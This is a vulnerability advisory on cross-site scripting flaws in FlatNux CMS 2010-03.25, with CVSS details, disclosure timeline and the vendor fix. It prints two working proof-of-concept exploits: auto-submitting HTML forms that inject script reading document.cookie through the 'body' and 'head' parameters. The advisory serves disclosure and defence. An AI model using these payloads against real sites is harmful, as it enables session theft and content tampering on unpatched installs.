Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Cross-site Scripting (XSS) Vulnerabilities in FlatNux CMS

Advisory ID:HTB22402
Product:FlatNux
Vendor:Alessandro Vernassa
Vulnerable Versions:flatnux-2010-03.25 and probably prior
Tested Version:flatnux-2010-03.25
Advisory Publication:May 25, 2010 [without technical details]
Vendor Notification:May 25, 2010
Public Disclosure:June 8, 2010
Latest Update:June 11, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in FlatNux CMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in FlatNux CMS
1.1 The vulnerability exists due to input sanitation error in the "body" parameter in verify.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/verify.php" method="post" name="main" >
<input type="hidden" name="mod" value="modcont" />
<input type="hidden" name="from" value="/controlcenter.php?mod=controlcenter" />
<input type="hidden" name="file" value="misc/motd.en.php" />
<input type="hidden" name="linktolocal" value="misc/motd.en.php" />
<input type="hidden" name="linktolocal" value="misc/motd.en.php" />
<input type="hidden" name="body" value='welcome to flatnux..."><script>alert(document.cookie)</script>' />
<input type="hidden" name="file" value="misc/motd.en.php" />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to input sanitation error in the "head" parameter in sections/00_News/section.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/index.php?mod=news" method="post" name="main" >
<input type="hidden" name="mod" value="news" />
<input type="hidden" name="op" value="applymodnews" />
<input type="hidden" name="filenews" value="misc/news/en/1274531214.xml" /><!-- en/1274531214.xml - news id from site -->
<input type="hidden" name="title" value="news title" />
<input type="hidden" name="icon" value="" />
<input type="hidden" name="head" value='news pre text..."><script>alert(document.cookie)</script>' />
<input type="hidden" name="body" value="news body" />
<input type="hidden" name="locked" value="1" />
<input type="hidden" name="mode" value="Save" />
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Fixed in version 2010-05.31


References:
[1] High-Tech Bridge Advisory HTB22402 - https://www.immuniweb.com/advisory/HTB22402 - Cross-site Scripting (XSS) Vulnerabilities in FlatNux CMS
[2] FlatNux CMS - www.flatnux.altervista.org - Flatnux is a CMS (Content Management System) that makes no use of DBMS, but only text files. I
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential